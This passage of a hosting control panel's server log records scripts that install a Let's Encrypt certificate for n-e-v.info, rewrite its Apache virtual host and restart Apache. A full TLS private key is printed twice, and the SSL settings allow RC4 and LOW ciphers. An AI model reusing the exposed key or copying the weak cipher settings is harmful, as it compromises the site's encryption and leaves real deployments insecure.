JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBQrtOHcmlueinzHdjtzdxgQxqbv4TAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14
Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIu
aS5sZW5jci5vcmcvMCUGA1UdEQQeMByCCm4tZS12LmluZm+CDnd3dy5uLWUtdi5p
bmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMTEwLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA
+AB9AKXJeJJdV0YXgocN2IlmC1xVZIt9AEDy7AdoUdGIaRn3AAABm5i8Cg4ACAAA
BQAuKJiOBAMARjBEAiBELu4NzdY39l8YyRNbZOe80RNcZvkYJOMD7/fQDcZvDgIg
Px7AnVCowbWkTN+e0vGtgJI2hUU+iozpFEuAkwWzB94AdwBJnJtp3h187Pw23s2H
ZKa4W68Kh4AZ0VVS++nrKd34wwAAAZuYvBa6AAAEAwBIMEYCIQDba/m2fe3ADY+z
ydXOOcB7LOv80ScioHIBpMCaFKkc7gIhAP72TVENq+meH7vrT0vvoIy6uN39Fz3Q
c8rUMNOQQcpKMA0GCSqGSIb3DQEBCwUAA4IBAQC4ykIMO2VMGFLcUbxuzrELw16U
T0+liVE9oK4tJi2hAvASz5GEAnF1Adt2zCR0U8oEx8AIlhd1PbuOXoI1vcTtkVg2
AgNnW3qXs9ynPYaZP+WA1hH2aVBSS3PdJxmSiy/PRzmnZQFJ4/ZJQYd7V9JVDfrT
00ixmEtREqxwKIJFVwAgyeThZiwUyaBcbe/MAdTXbYk/ZorkkNVneX0H+Kj0lk1q
bVCwYQ98tn+IeitmMSz9LMzbMnf7jJt59kPFpuNOvfy+D9X372M8NWtps2wlCEdN
cb+qEppkVxUPA3GhrzaPl+P1lxkLkJlii3jJPX/T45uRcb1jdMtuyqq8RFk0
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDLflHRXs9z6CNn
r6XBuScK1+hbUsl6ubyH6cKFqVnp22eR8m5jzdmPPUGnA41JFz70UfMWUTa1Ezj3
BMmfZQ9rB538cLU9yCSB5RQN8fynbqJ7yOBpQWSzLPTj1dzXPFE92cPthqQ4+J16
k1AdAh3ahqx6K4dPMavjW1xaj07tr2mp5wunT3KJsiHBuILxwSYDMyweRmWvshMp
tQ2sP3ioJ4dxDuK9+dV+YC9sHC10nZP4JO/e3AETcb+xjLwhBxnXl6oB5N786mqM
ctZfsuUqdQTVY507x+6KZpnY7dHtxldMd/t1FMbMFDhVUuiFIq5hNK62sCqZHDGM
CASLC2k/AgMBAAECggEAJXtxh56umJtoNheI8RtxIRKu5m9j1Dq1CtXYcjVE7gnv
VFcy1ShcDAHM/33sfsuM2YTkwTYZXRYa1oknuDfttJm1FIQQJj6g1tpCrOTnVFHR
FPrltw2IBmbf/r1sTar7Dej4KV61DhdhLmxHA+jZZeCLkX9GD6THE/xGkRm3gJkL
/p9kBC0hKV+8HsFclK5smI+rQDOHdqTV8ZesMJindk2YIJe/bdOcaJ54sOZARqQx
iGEe9Od0q6lvByJtWftvohfRvuz1jxptqlv0AHpMb1LXcqVslRXjLnGIt8YUPgYZ
y0WHkaquTG8iLAzZU0hLn4eZhM35mW4gSId0BKvHyQKBgQD3/b7D6kAhDjJfEdam
pTK1T68VZWcsAHo3wIfmO0oz+z8sO9pLY0rtvb4cXvPWHw7s6y04IQlx2HCNmWYW
8ZVvvoIUrLrKtue8SSd4qu82CHAg0VwiFwIT51Bnaky/EgYutxP9YvVtHW/+zvkW
cLmlz8lvgPAmP4GgPISFB3LHaQKBgQDSELECXnv3DkkL76brUsJkNewyoh8eUuMk
2iS6mfGhSYUb7s/AaMutm9IBlxbHLpx8hL3LW3+LD5IRLf6+oAEos/hwERtZ7Sy6
e4sbRtee2pv+x3m1Ikgcu3A3maFxx1Tlw1mP4Awoo3zyd4mPZvdrSkvvDLQ/yNnN
Yvy8xIv+ZwKBgEmrotk2pLhtLD+b4AV/e/Hq6xtTFXQ37BbV5klaAbAxilHMsgvF
QoQf4vMwrgVFEr0FHFjZT6H3Z3BZSr+0Iu2gTapwqckAzxTbMpOhTBDkLtNA/rrN
1Psus28VYBk+9IE6OAEFPd2daiDrQYoOEMiWUsQCLNVf9lUwxTlzvgBJAoGAQzv0
a72yD7ES0C80Tb1/WnOn1czuCNaevPzVJKSBIg5V/ErDU+I2zqpA3SFuuPHCRFh4
Js5yVB/3sGf4USsFM/HmYngXOQEgf89rBp/2A3IU28ccvUzrp8aWdDVH5xLVqXSN
Be+/9IHfS/vWm39pUX3GMAzw5Dl0/LfiDMkbxaECgYA4rjUQgBUxJbeCzjRYEzao
+3QWVmOLPxC/E+Km2JuaFvdVenPlpg4JInOg//JcGuu9SbnFNB4rI4CmPcpft+k8
VcwQ4u12EnOSA9wWeywpuaTRPadycWWBzvrURKPRDiE1qvx1/QYzYp/3CSAcibdz
zp6dGj/2t6P2LqO6GWHUBw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-07 13:53:47:
chmod 755 /tmp/pkp715919; /tmp/pkp715919; rm /tmp/pkp715919
2026-01-07 13:53:47:
dir=/etc/ssl/certs
2026-01-07 13:53:47:
PUT: /tmp/pkp865391
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/n-e-v_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-07 13:53:48:
chmod 755 /tmp/pkp865391; /tmp/pkp865391; rm /tmp/pkp865391
2026-01-07 13:53:48:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/n-e-v_www_info.conf 38
<VirtualHost *:80>
ServerName n-e-v.info
ServerAlias www.n-e-v.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/n-e-v_www
<Directory /var/www/n-e-v_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/n-e-v/www_access.log combined
ErrorLog /var/log/apache2/n-e-v/www_error.log
SetEnv pkp_uid 35
SetEnv pkp_owner nev
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
<VirtualHost *:443>
ServerName n-e-v.info
ServerAlias www.n-e-v.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/27a452e75854403499effc104b58be29.crt
DocumentRoot /var/www/n-e-v_www
<Directory /var/www/n-e-v_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/n-e-v/www_secure_access.log combined
ErrorLog /var/log/apache2/n-e-v/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
2026-01-07 13:53:48:
PUT: /tmp/pkp732904
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=n-e-v_www_info.conf
TARGET=/etc/apache2/sites-enabled/n-e-v_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName n-e-v.info
ServerAlias www.n-e-v.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/n-e-v_www
<Directory /var/www/n-e-v_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/n-e-v/www_access.log combined
ErrorLog /var/log/apache2/n-e-v/www_error.log
SetEnv pkp_uid 35
SetEnv pkp_owner nev
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
<VirtualHost *:443>
ServerName n-e-v.info
ServerAlias www.n-e-v.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/27a452e75854403499effc104b58be29.crt
DocumentRoot /var/www/n-e-v_www
<Directory /var/www/n-e-v_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/n-e-v/www_secure_access.log combined
ErrorLog /var/log/apache2/n-e-v/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/n-e-v_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/n-e-v_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/n-e-v_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/n-e-v_www_info.conf= 1'
fi
2026-01-07 13:53:48:
chmod 755 /tmp/pkp732904; /tmp/pkp732904; rm /tmp/pkp732904
2026-01-07 13:53:49:
2026-01-07 13:53:49:
PUT: /tmp/pkp602353
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-07 13:53:49:
chmod 755 /tmp/pkp602353; /tmp/pkp602353; rm /tmp/pkp602353
2026-01-07 13:53:50:
.
2026-01-07 13:53:50: Establishing a connection
2026-01-07 13:53:51:
PUT: /tmp/pkp352152
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-07 13:53:52:
chmod 755 /tmp/pkp352152; /tmp/pkp352152; rm /tmp/pkp352152
2026-01-07 13:53:52:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:2)
alias www.n-e-v.info
port 80 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:2)
*:443 is a NameVirtualHost
default server n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
port 443 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
alias www.n-e-v.info
port 443 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2026-01-07 13:53:52:
PUT: /tmp/pkp789002
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/n-e-v_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-07 13:53:53:
chmod 755 /tmp/pkp789002; /tmp/pkp789002; rm /tmp/pkp789002
2026-01-07 13:53:53:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/n-e-v_www_info.conf 1324
<VirtualHost *:80>
ServerName n-e-v.info
ServerAlias www.n-e-v.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/n-e-v_www
<Directory /var/www/n-e-v_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/n-e-v/www_access.log combined
ErrorLog /var/log/apache2/n-e-v/www_error.log
SetEnv pkp_uid 35
SetEnv pkp_owner nev
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
<VirtualHost *:443>
ServerName n-e-v.info
ServerAlias www.n-e-v.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/27a452e75854403499effc104b58be29.crt
DocumentRoot /var/www/n-e-v_www
<Directory /var/www/n-e-v_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/n-e-v/www_secure_access.log combined
ErrorLog /var/log/apache2/n-e-v/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
2026-01-07 13:53:53:
PUT: /tmp/pkp446431
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/27a452e75854403499effc104b58be29.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-07 13:53:53:
chmod 755 /tmp/pkp446431; /tmp/pkp446431; rm /tmp/pkp446431
2026-01-07 13:53:54:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/27a452e75854403499effc104b58be29.crt 5365
2e:1a:d9:1a:7a:96:91:7d:58:2c:6d:55:72:02:5e:11
-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBh8NfMsuY6R0/J++4nLusIltMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTA3MTI1NTA3WhcNMjYwNDA3MTI1NTA2WjAVMRMwEQYDVQQD
EwpuLWUtdi5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy35R
0V7Pc+gjZ6+lwbknCtfoW1LJerm8h+nChalZ6dtnkfJuY83Zjz1BpwONSRc+9FHz
FlE2tRM49wTJn2UPawed/HC1PcgkgeUUDfH8p26ie8jgaUFksyz049Xc1zxRPdnD
7YakOPidepNQHQId2oaseiuHTzGr41tcWo9O7a9pqecLp09yibIhwbiC8cEmAzMs
HkZlr7ITKbUNrD94qCeHcQ7ivfnVfmAvbBwtdJ2T+CTv3twBE3G/sYy8IQcZ15eq
AeTe/OpqjHLWX7LlKnUE1WOdO8fuimaZ2O3R7cZXTHf7dRTGzBQ4VVLohSKuYTSu
trAqmRwxjAgEiwtpPwIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBQrtOHcmlueinzHdjtzdxgQxqbv4TAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14
Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIu
aS5sZW5jci5vcmcvMCUGA1UdEQQeMByCCm4tZS12LmluZm+CDnd3dy5uLWUtdi5p
bmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMTEwLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA
+AB9AKXJeJJdV0YXgocN2IlmC1xVZIt9AEDy7AdoUdGIaRn3AAABm5i8Cg4ACAAA
BQAuKJiOBAMARjBEAiBELu4NzdY39l8YyRNbZOe80RNcZvkYJOMD7/fQDcZvDgIg
Px7AnVCowbWkTN+e0vGtgJI2hUU+iozpFEuAkwWzB94AdwBJnJtp3h187Pw23s2H
ZKa4W68Kh4AZ0VVS++nrKd34wwAAAZuYvBa6AAAEAwBIMEYCIQDba/m2fe3ADY+z
ydXOOcB7LOv80ScioHIBpMCaFKkc7gIhAP72TVENq+meH7vrT0vvoIy6uN39Fz3Q
c8rUMNOQQcpKMA0GCSqGSIb3DQEBCwUAA4IBAQC4ykIMO2VMGFLcUbxuzrELw16U
T0+liVE9oK4tJi2hAvASz5GEAnF1Adt2zCR0U8oEx8AIlhd1PbuOXoI1vcTtkVg2
AgNnW3qXs9ynPYaZP+WA1hH2aVBSS3PdJxmSiy/PRzmnZQFJ4/ZJQYd7V9JVDfrT
00ixmEtREqxwKIJFVwAgyeThZiwUyaBcbe/MAdTXbYk/ZorkkNVneX0H+Kj0lk1q
bVCwYQ98tn+IeitmMSz9LMzbMnf7jJt59kPFpuNOvfy+D9X372M8NWtps2wlCEdN
cb+qEppkVxUPA3GhrzaPl+P1lxkLkJlii3jJPX/T45uRcb1jdMtuyqq8RFk0
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDLflHRXs9z6CNn
r6XBuScK1+hbUsl6ubyH6cKFqVnp22eR8m5jzdmPPUGnA41JFz70UfMWUTa1Ezj3
BMmfZQ9rB538cLU9yCSB5RQN8fynbqJ7yOBpQWSzLPTj1dzXPFE92cPthqQ4+J16
k1AdAh3ahqx6K4dPMavjW1xaj07tr2mp5wunT3KJsiHBuILxwSYDMyweRmWvshMp
tQ2sP3ioJ4dxDuK9+dV+YC9sHC10nZP4JO/e3AETcb+xjLwhBxnXl6oB5N786mqM
ctZfsuUqdQTVY507x+6KZpnY7dHtxldMd/t1FMbMFDhVUuiFIq5hNK62sCqZHDGM
CASLC2k/AgMBAAECggEAJXtxh56umJtoNheI8RtxIRKu5m9j1Dq1CtXYcjVE7gnv
VFcy1ShcDAHM/33sfsuM2YTkwTYZXRYa1oknuDfttJm1FIQQJj6g1tpCrOTnVFHR
FPrltw2IBmbf/r1sTar7Dej4KV61DhdhLmxHA+jZZeCLkX9GD6THE/xGkRm3gJkL
/p9kBC0hKV+8HsFclK5smI+rQDOHdqTV8ZesMJindk2YIJe/bdOcaJ54sOZARqQx
iGEe9Od0q6lvByJtWftvohfRvuz1jxptqlv0AHpMb1LXcqVslRXjLnGIt8YUPgYZ
y0WHkaquTG8iLAzZU0hLn4eZhM35mW4gSId0BKvHyQKBgQD3/b7D6kAhDjJfEdam
pTK1T68VZWcsAHo3wIfmO0oz+z8sO9pLY0rtvb4cXvPWHw7s6y04IQlx2HCNmWYW
8ZVvvoIUrLrKtue8SSd4qu82CHAg0VwiFwIT51Bnaky/EgYutxP9YvVtHW/+zvkW
cLmlz8lvgPAmP4GgPISFB3LHaQKBgQDSELECXnv3DkkL76brUsJkNewyoh8eUuMk
2iS6mfGhSYUb7s/AaMutm9IBlxbHLpx8hL3LW3+LD5IRLf6+oAEos/hwERtZ7Sy6
e4sbRtee2pv+x3m1Ikgcu3A3maFxx1Tlw1mP4Awoo3zyd4mPZvdrSkvvDLQ/yNnN
Yvy8xIv+ZwKBgEmrotk2pLhtLD+b4AV/e/Hq6xtTFXQ37BbV5klaAbAxilHMsgvF
QoQf4vMwrgVFEr0FHFjZT6H3Z3BZSr+0Iu2gTapwqckAzxTbMpOhTBDkLtNA/rrN
1Psus28VYBk+9IE6OAEFPd2daiDrQYoOEMiWUsQCLNVf9lUwxTlzvgBJAoGAQzv0
a72yD7ES0C80Tb1/WnOn1czuCNaevPzVJKSBIg5V/ErDU+I2zqpA3SFuuPHCRFh4
Js5yVB/3sGf4USsFM/HmYngXOQEgf89rBp/2A3IU28ccvUzrp8aWdDVH5xLVqXSN
Be+/9IHfS/vWm39pUX3GMAzw5Dl0/LfiDMkbxaECgYA4rjUQgBUxJbeCzjRYEzao
+3QWVmOLPxC/E+Km2JuaFvdVenPlpg4JInOg//JcGuu9SbnFNB4rI4CmPcpft+k8
VcwQ4u12EnOSA9wWeywpuaTRPadycWWBzvrURKPRDiE1qvx1/QYzYp/3CSAcibdz
zp6dGj/2t6P2LqO6GWHUBw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2026-01-08 06:00:01: Establishing a connection
2026-01-08 06:00:02: Establishing a connection
2026-01-08 06:00:02:
PUT: /tmp/pkp728449
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
